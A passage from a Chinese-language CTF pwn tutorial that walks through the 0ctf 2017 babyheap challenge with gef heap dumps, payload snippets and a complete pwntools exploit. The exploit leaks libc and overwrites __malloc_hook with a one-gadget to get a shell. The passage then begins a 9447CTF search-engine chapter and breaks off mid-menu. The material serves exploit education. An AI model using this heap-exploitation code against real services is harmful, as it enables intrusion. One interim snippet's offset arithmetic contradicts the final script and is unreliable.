0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
|
||||
0x555555757010: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [be freed]
|
||||
0x555555757030: 0x0000000000000000 0x4141414141414141
|
||||
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- chunk 2 [be freed] <-- fast bins
|
||||
0x555555757050: 0x0000555555757020 0x4141414141414141 <-- fd pointer
|
||||
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
|
||||
0x555555757070: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4
|
||||
0x555555757090: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570a0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570b0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570c0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570d0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570e0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570f0: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757100: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757110: 0x0000000000000000 0x0000000000020ef1
|
||||
0x555555757120: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757130: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/20gx 0xafc966564d0-0x10
|
||||
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
|
||||
0xafc966564d0: 0x0000555555757010 0x0000000000000000
|
||||
0xafc966564e0: 0x0000000000000000 0x0000000000000000
|
||||
0xafc966564f0: 0x0000000000000000 0x0000000000000000
|
||||
0xafc96656500: 0x0000000000000000 0x0000000000000001 <-- idx 3 -> chunk 3
|
||||
0xafc96656510: 0x0000000000000010 0x0000555555757070
|
||||
0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
|
||||
0xafc96656530: 0x0000555555757090 0x0000000000000000
|
||||
0xafc96656540: 0x0000000000000000 0x0000000000000000
|
||||
0xafc96656550: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
free 掉的 chunk,其结构体被清空,等待下一次 malloc,并添加到空出来的地方。
|
||||
|
||||
通过溢出漏洞修改已被释放的 chunk 2,让 fd 指针指向 chunk 4,这样就将 small chunk 加入到了 fastbins 链表中,然后还需要把 chunk 4 的 0x91 改成 0x21 以绕过 fastbins 大小的检查:
|
||||
```python
|
||||
payload = "A"*16
|
||||
payload += p64(0)
|
||||
payload += p64(0x21)
|
||||
payload += p64(0)
|
||||
payload += "A"*8
|
||||
payload += p64(0)
|
||||
payload += p64(0x21)
|
||||
payload += p8(0x80)
|
||||
fill(0, payload)
|
||||
|
||||
payload = "A"*16
|
||||
payload += p64(0)
|
||||
payload += p64(0x21)
|
||||
fill(3, payload)
|
||||
```
|
||||
```
|
||||
gef➤ x/2gx &main_arena
|
||||
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040
|
||||
gef➤ heap bins fast
|
||||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x555555757090, size=0x20, flags=PREV_INUSE) ← [Corrupted chunk at 0x4141414141414151]
|
||||
gef➤ x/40gx 0x0000555555757010-0x10
|
||||
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
|
||||
0x555555757010: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [be freed]
|
||||
0x555555757030: 0x0000000000000000 0x4141414141414141
|
||||
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- chunk 2 [be freed] <-- fast bins
|
||||
0x555555757050: 0x0000555555757080 0x4141414141414141 <-- fd pointer
|
||||
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
|
||||
0x555555757070: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757080: 0x0000000000000000 0x0000000000000021 <-- chunk 4
|
||||
0x555555757090: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570a0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570b0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570c0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570d0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570e0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570f0: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757100: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757110: 0x0000000000000000 0x0000000000020ef1
|
||||
0x555555757120: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757130: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
现在我们再分配两个 chunk,它们都会从 fastbins 中被取出来,而且 new chunk 2 会和原来的 chunk 4 起始位置重叠,但前者是 fast chunk,而后者是 small chunk,即一个大 chunk 里包含了一个小 chunk,这正是我们需要的:
|
||||
```python
|
||||
alloc(0x10)
|
||||
alloc(0x10)
|
||||
fill(1, "B"*16)
|
||||
fill(2, "C"*16)
|
||||
fill(4, "D"*16)
|
||||
```
|
||||
```
|
||||
gef➤ x/2gx &main_arena
|
||||
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x4141414141414141
|
||||
gef➤ x/40gx 0x0000555555757010-0x10
|
||||
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
|
||||
0x555555757010: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757020: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [be freed]
|
||||
0x555555757030: 0x0000000000000000 0x4141414141414141
|
||||
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
|
||||
0x555555757050: 0x4242424242424242 0x4242424242424242
|
||||
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
|
||||
0x555555757070: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757080: 0x0000000000000000 0x0000000000000021 <-- chunk 4, new chunk 2
|
||||
0x555555757090: 0x4444444444444444 0x4444444444444444
|
||||
0x5555557570a0: 0x0000000000000000 0x4141414141414141
|
||||
0x5555557570b0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570c0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570d0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570e0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570f0: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757100: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757110: 0x0000000000000000 0x0000000000020ef1
|
||||
0x555555757120: 0x0000000000000000 0x0000000000000000
|
||||
0x555555757130: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/20gx 0xafc966564d0-0x10
|
||||
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
|
||||
0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
|
||||
0xafc966564e0: 0x0000000000000010 0x0000555555757050
|
||||
0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
|
||||
0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
|
||||
0xafc96656510: 0x0000000000000010 0x0000555555757070
|
||||
0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
|
||||
0xafc96656530: 0x0000555555757090 0x0000000000000000
|
||||
0xafc96656540: 0x0000000000000000 0x0000000000000000
|
||||
0xafc96656550: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
可以看到新分配的 chunk 2,填补到了被释放的 chunk 2 的位置上。
|
||||
|
||||
再次利用溢出漏洞将 chunk 4 的 0x21 改回 0x91,然后为了避免 free(4) 后该 chunk 被合并进 top chunk,需要再分配一个 small chunk:
|
||||
```python
|
||||
payload = "A"*16
|
||||
payload += p64(0)
|
||||
payload += p64(0x91)
|
||||
fill(3, payload)
|
||||
|
||||
alloc(0x80)
|
||||
fill(5, "A"*128)
|
||||
```
|
||||
```
|
||||
gef➤ x/60gx 0x0000555555757010-0x10
|
||||
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
|
||||
0x555555757010: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757020: 0x0000000000000000 0x0000000000000021
|
||||
0x555555757030: 0x0000000000000000 0x4141414141414141
|
||||
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
|
||||
0x555555757050: 0x4242424242424242 0x4242424242424242
|
||||
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
|
||||
0x555555757070: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4, new chunk 2
|
||||
0x555555757090: 0x4444444444444444 0x4444444444444444
|
||||
0x5555557570a0: 0x0000000000000000 0x4141414141414141
|
||||
0x5555557570b0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570c0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570d0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570e0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570f0: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757100: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757110: 0x0000000000000000 0x0000000000000091 <-- chunk 5
|
||||
0x555555757120: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757130: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757140: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757150: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757160: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757170: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757180: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757190: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557571a0: 0x0000000000000000 0x0000000000020e61 <-- top chunk
|
||||
0x5555557571b0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557571c0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557571d0: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/20gx 0xafc966564d0-0x10
|
||||
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
|
||||
0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
|
||||
0xafc966564e0: 0x0000000000000010 0x0000555555757050
|
||||
0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
|
||||
0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
|
||||
0xafc96656510: 0x0000000000000010 0x0000555555757070
|
||||
0xafc96656520: 0x0000000000000001 0x0000000000000080 <-- idx 4 -> chunk 4
|
||||
0xafc96656530: 0x0000555555757090 0x0000000000000001 <-- idx 5 -> chunk 5
|
||||
0xafc96656540: 0x0000000000000080 0x0000555555757120
|
||||
0xafc96656550: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
这时,如果我们将 chunk 4 释放掉,其 fd 指针会被设置为指向 unsorted bin 链表的头部,这个地址在 libc 中,且相对位置固定,利用它就可以算出 libc 被加载的地址:
|
||||
```python
|
||||
free(4)
|
||||
```
|
||||
```
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x555555757080, bk=0x555555757080
|
||||
→ Chunk(addr=0x555555757090, size=0x90, flags=PREV_INUSE)
|
||||
gef➤ x/60gx 0x0000555555757010-0x10
|
||||
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
|
||||
0x555555757010: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757020: 0x0000000000000000 0x0000000000000021
|
||||
0x555555757030: 0x0000000000000000 0x4141414141414141
|
||||
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
|
||||
0x555555757050: 0x4242424242424242 0x4242424242424242
|
||||
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
|
||||
0x555555757070: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757080: 0x0000000000000000 0x0000000000000091 <-- chunk 4 [be freed], new chunk 2 <-- unsorted bin
|
||||
0x555555757090: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
0x5555557570a0: 0x0000000000000000 0x4141414141414141
|
||||
0x5555557570b0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570c0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570d0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570e0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557570f0: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757100: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757110: 0x0000000000000090 0x0000000000000090 <-- chunk 5
|
||||
0x555555757120: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757130: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757140: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757150: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757160: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757170: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757180: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757190: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557571a0: 0x0000000000000000 0x0000000000020e61
|
||||
0x5555557571b0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557571c0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557571d0: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/20gx 0xafc966564d0-0x10
|
||||
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
|
||||
0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
|
||||
0xafc966564e0: 0x0000000000000010 0x0000555555757050
|
||||
0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
|
||||
0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
|
||||
0xafc96656510: 0x0000000000000010 0x0000555555757070
|
||||
0xafc96656520: 0x0000000000000000 0x0000000000000000
|
||||
0xafc96656530: 0x0000000000000000 0x0000000000000001 <-- idx 5 -> chunk 5
|
||||
0xafc96656540: 0x0000000000000080 0x0000555555757120
|
||||
0xafc96656550: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
最后利用 Dump 操作即可将地址泄漏出来:
|
||||
```python
|
||||
leak = u64(dump(2)[:8])
|
||||
libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc
|
||||
__malloc_hook = libc - 0x3c4b10 # readelf -s libc.so.6 | grep __malloc_hook@
|
||||
one_gadget = libc - 0x4526a
|
||||
```
|
||||
```
|
||||
[*] leak => 0x7ffff7dd1b78
|
||||
[*] libc => 0x7ffff7a0d000
|
||||
[*] __malloc_hook => 0x7ffff7dd1b10
|
||||
[*] one_gadget => 0x7ffff7a5226a
|
||||
```
|
||||
|
||||
#### get shell
|
||||
由于开启了 Full RELRO,改写 GOT 表是不行了。考虑用 `__malloc_hook`,它是一个弱类型的函数指针变量,指向 ` void * function(size_t size, void * caller)`,当调用 malloc() 时,首先判断 hook 函数指针是否为空,不为空则调用它。所以这里我们传入一个 one-gadget 即可(详情请查看章节4.6)。
|
||||
|
||||
首先考虑怎样利用 fastbins 在 `__malloc_hook` 指向的地址处写入 one_gadget 的地址。这里有一个技巧,地址偏移,就像下面这样构造一个 fake chunk,其大小为 0x7f,也就是一个 fast chunk:
|
||||
```
|
||||
gef➤ x/10gx (long long)(&main_arena)-0x30
|
||||
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
|
||||
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
|
||||
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x4141414141414141 <-- target
|
||||
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/10gx (long long)(&main_arena)-0x30+0xd
|
||||
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f <-- fake chunk
|
||||
0x7ffff7dd1b0d: 0x000000000000007f 0x0000000000000000
|
||||
0x7ffff7dd1b1d: 0x0000000000000000 0x4141414141000000
|
||||
0x7ffff7dd1b2d: 0x0000000000414141 0x0000000000000000
|
||||
0x7ffff7dd1b3d: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
用本地的泄露地址减去 libc 地址得到偏移:
|
||||
```
|
||||
[0x00000000]> ?v 0x7ffff7dd1b78 - 0x7ffff7a0d000
|
||||
0x3c4b78
|
||||
```
|
||||
|
||||
之前 free 掉的 chunk 4 一个 small chunk,被添加到了 unsorted bin 中,而这里我们需要的是 fast chunk,所以这里采用分配一个 fast chunk,再释放掉的办法,将其添加到 fast bins 中。然后改写它的 fd 指针指向 fake chunk(当然也要通过 libc 偏移计算出来):
|
||||
```python
|
||||
alloc(0x60)
|
||||
free(4)
|
||||
|
||||
payload = p64(libc + 0x3c4afd)
|
||||
fill(2, payload)
|
||||
```
|
||||
```
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x5555557570f0, bk=0x5555557570f0
|
||||
→ Chunk(addr=0x555555757100, size=0x20, flags=PREV_INUSE)
|
||||
gef➤ x/60gx 0x0000555555757010-0x10
|
||||
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
|
||||
0x555555757010: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757020: 0x0000000000000000 0x0000000000000021
|
||||
0x555555757030: 0x0000000000000000 0x4141414141414141
|
||||
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
|
||||
0x555555757050: 0x4242424242424242 0x4242424242424242
|
||||
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
|
||||
0x555555757070: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757080: 0x0000000000000000 0x0000000000000071 <-- new chunk 2, new chunk 4 [be freed]
|
||||
0x555555757090: 0x00007ffff7dd1afd 0x0000000000000000 <-- fd pointer
|
||||
0x5555557570a0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570b0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570c0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570d0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570e0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570f0: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
|
||||
0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
|
||||
0x555555757110: 0x0000000000000020 0x0000000000000090 <-- chunk 5
|
||||
0x555555757120: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757130: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757140: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757150: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757160: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757170: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757180: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757190: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557571a0: 0x0000000000000000 0x0000000000020e61
|
||||
0x5555557571b0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557571c0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557571d0: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
连续两次分配,第一次将 fake chunk 添加到 fast bins,第二次分配 fake chunk,分别是 new new chunk 4 和 chunk 6。然后就可以改写 `__malloc_hook` 的地址,将其指向 one-gadget:
|
||||
```python
|
||||
alloc(0x60)
|
||||
alloc(0x60)
|
||||
|
||||
payload = p8(0)*3
|
||||
payload += p64(one_gadget)
|
||||
fill(6, payload)
|
||||
```
|
||||
```
|
||||
gef➤ x/10gx (long long)(&main_arena)-0x30
|
||||
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000
|
||||
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x000000fff7a92a00
|
||||
0x7ffff7dd1b10 <__malloc_hook>: 0x00007ffff7a5226a 0x0000000000000000 <-- target
|
||||
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x4141414141414141
|
||||
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/60gx 0x0000555555757010-0x10
|
||||
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
|
||||
0x555555757010: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757020: 0x0000000000000000 0x0000000000000021
|
||||
0x555555757030: 0x0000000000000000 0x4141414141414141
|
||||
0x555555757040: 0x0000000000000000 0x0000000000000021 <-- new chunk 1
|
||||
0x555555757050: 0x4242424242424242 0x4242424242424242
|
||||
0x555555757060: 0x0000000000000000 0x0000000000000021 <-- chunk 3
|
||||
0x555555757070: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757080: 0x0000000000000000 0x0000000000000071 <-- new chunk 2, new new chunk 4
|
||||
0x555555757090: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570a0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570b0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570c0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570d0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570e0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557570f0: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
|
||||
0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
|
||||
0x555555757110: 0x0000000000000020 0x0000000000000090 <-- chunk 5
|
||||
0x555555757120: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757130: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757140: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757150: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757160: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757170: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757180: 0x4141414141414141 0x4141414141414141
|
||||
0x555555757190: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557571a0: 0x0000000000000000 0x0000000000020e61
|
||||
0x5555557571b0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557571c0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557571d0: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/30gx 0xafc966564d0-0x10
|
||||
0xafc966564c0: 0x0000000000000001 0x0000000000000010 <-- idx 0 -> chunk 0
|
||||
0xafc966564d0: 0x0000555555757010 0x0000000000000001 <-- idx 1 -> new chunk 1
|
||||
0xafc966564e0: 0x0000000000000010 0x0000555555757050
|
||||
0xafc966564f0: 0x0000000000000001 0x0000000000000010 <-- idx 2 -> new chunk 2
|
||||
0xafc96656500: 0x0000555555757090 0x0000000000000001 <-- idx 3 -> chunk 3
|
||||
0xafc96656510: 0x0000000000000010 0x0000555555757070
|
||||
0xafc96656520: 0x0000000000000001 0x0000000000000060 <-- idx 4 -> new new chunk4
|
||||
0xafc96656530: 0x0000555555757090 0x0000000000000001 <-- idx 5 -> chunk 5
|
||||
0xafc96656540: 0x0000000000000080 0x0000555555757120
|
||||
0xafc96656550: 0x0000000000000001 0x0000000000000060 <-- idx 6 -> chunk 6
|
||||
0xafc96656560: 0x00007ffff7dd1b0d 0x0000000000000000
|
||||
0xafc96656570: 0x0000000000000000 0x0000000000000000
|
||||
0xafc96656580: 0x0000000000000000 0x0000000000000000
|
||||
0xafc96656590: 0x0000000000000000 0x0000000000000000
|
||||
0xafc966565a0: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
最后,只要调用了 malloc,就会触发 hook 函数,即 one-gadget。现在可以开启 ASLR 了,因为通过泄漏 libc 地址,我们已经完全绕过了它。
|
||||
|
||||
Bingo!!!
|
||||
```
|
||||
$ python exp.py
|
||||
[+] Opening connection to 127.0.0.1 on port 10001: Done
|
||||
[*] leak => 0x7f8c1be9eb78
|
||||
[*] libc => 0x7f8c1bada000
|
||||
[*] __malloc_hook => 0x7f8c1be9eb10
|
||||
[*] one_gadget => 0x7f8c1bb1f26a
|
||||
[*] Switching to interactive mode
|
||||
$ whoami
|
||||
firmy
|
||||
```
|
||||
|
||||
本题多次使用 fastbin attack,确实经典。
|
||||
|
||||
#### exploit
|
||||
完整的 exp 如下:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
io = remote('127.0.0.1', 10001)
|
||||
|
||||
def alloc(size):
|
||||
io.recvuntil("Command: ")
|
||||
io.sendline('1')
|
||||
io.recvuntil("Size: ")
|
||||
io.sendline(str(size))
|
||||
|
||||
def fill(idx, cont):
|
||||
io.recvuntil("Command: ")
|
||||
io.sendline('2')
|
||||
io.recvuntil("Index: ")
|
||||
io.sendline(str(idx))
|
||||
io.recvuntil("Size: ")
|
||||
io.sendline(str(len(cont)))
|
||||
io.recvuntil("Content: ")
|
||||
io.send(cont)
|
||||
|
||||
def free(idx):
|
||||
io.recvuntil("Command: ")
|
||||
io.sendline('3')
|
||||
io.recvuntil("Index: ")
|
||||
io.sendline(str(idx))
|
||||
|
||||
def dump(idx):
|
||||
io.recvuntil("Command: ")
|
||||
io.sendline('4')
|
||||
io.recvuntil("Index: ")
|
||||
io.sendline(str(idx))
|
||||
io.recvuntil("Content: \n")
|
||||
data = io.recvline()
|
||||
return data
|
||||
|
||||
alloc(0x10)
|
||||
alloc(0x10)
|
||||
alloc(0x10)
|
||||
alloc(0x10)
|
||||
alloc(0x80)
|
||||
#fill(0, "A"*16)
|
||||
#fill(1, "A"*16)
|
||||
#fill(2, "A"*16)
|
||||
#fill(3, "A"*16)
|
||||
#fill(4, "A"*128)
|
||||
|
||||
free(1)
|
||||
free(2)
|
||||
|
||||
payload = "A"*16
|
||||
payload += p64(0)
|
||||
payload += p64(0x21)
|
||||
payload += p64(0)
|
||||
payload += "A"*8
|
||||
payload += p64(0)
|
||||
payload += p64(0x21)
|
||||
payload += p8(0x80)
|
||||
fill(0, payload)
|
||||
|
||||
payload = "A"*16
|
||||
payload += p64(0)
|
||||
payload += p64(0x21)
|
||||
fill(3, payload)
|
||||
|
||||
alloc(0x10)
|
||||
alloc(0x10)
|
||||
#fill(1, "B"*16)
|
||||
#fill(2, "C"*16)
|
||||
#fill(4, "D"*16)
|
||||
|
||||
payload = "A"*16
|
||||
payload += p64(0)
|
||||
payload += p64(0x91)
|
||||
fill(3, payload)
|
||||
|
||||
alloc(0x80)
|
||||
#fill(5, "A"*128)
|
||||
|
||||
free(4)
|
||||
|
||||
leak = u64(dump(2)[:8])
|
||||
libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc
|
||||
__malloc_hook = libc + 0x3c4b10 # readelf -s libc.so.6 | grep __malloc_hook@
|
||||
one_gadget = libc + 0x4526a
|
||||
log.info("leak => 0x%x" % leak)
|
||||
log.info("libc => 0x%x" % libc)
|
||||
log.info("__malloc_hook => 0x%x" % __malloc_hook)
|
||||
log.info("one_gadget => 0x%x" % one_gadget)
|
||||
|
||||
alloc(0x60)
|
||||
free(4)
|
||||
|
||||
payload = p64(libc + 0x3c4afd)
|
||||
fill(2, payload)
|
||||
|
||||
alloc(0x60)
|
||||
alloc(0x60)
|
||||
|
||||
payload = p8(0)*3
|
||||
payload += p64(one_gadget)
|
||||
fill(6, payload)
|
||||
|
||||
alloc(1)
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
- [0ctf Quals 2017 - BabyHeap2017](http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html)
|
||||
- [how2heap](https://github.com/shellphish/how2heap)
|
||||
|
67
doc/6.1.11_9447ctf2015_search_engine.md
Normal file
67
doc/6.1.11_9447ctf2015_search_engine.md
Normal file
@ -0,0 +1,67 @@
|
||||
# 6.1.11 pwn 9447CTF2015 Search-Engine
|
||||
|
||||
- [题目复现](#题目复现)
|
||||
- [题目解析](#题目解析)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/writeup/6.1.11_9447ctf2015_search_engine)
|
||||
|
||||
## 题目复现
|
||||
```
|
||||
$ file search
|
||||
search: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f5b70085d957097e91f940f98c0d4cc6fb3343f, stripped
|
||||
$ checksec -f search
|
||||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||||
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 1 3 search
|
||||
```
|
||||
64 位程序,开启了 NX 和 Canary。
|
||||
|
||||
玩一下,看名字就知道是一个搜索引擎,大概流程是这样的,首先给词库加入一些句子,句子里的单词以空格间隔开,然后可以搜索所有包含某单词的句子,当找到某条句子后,将其打印出来,并询问是否删除。
|
||||
```
|
||||
$ ./search
|
||||
1: Search with a word
|
||||
2: Index a sentence
|
||||
3: Quit
|
||||
2
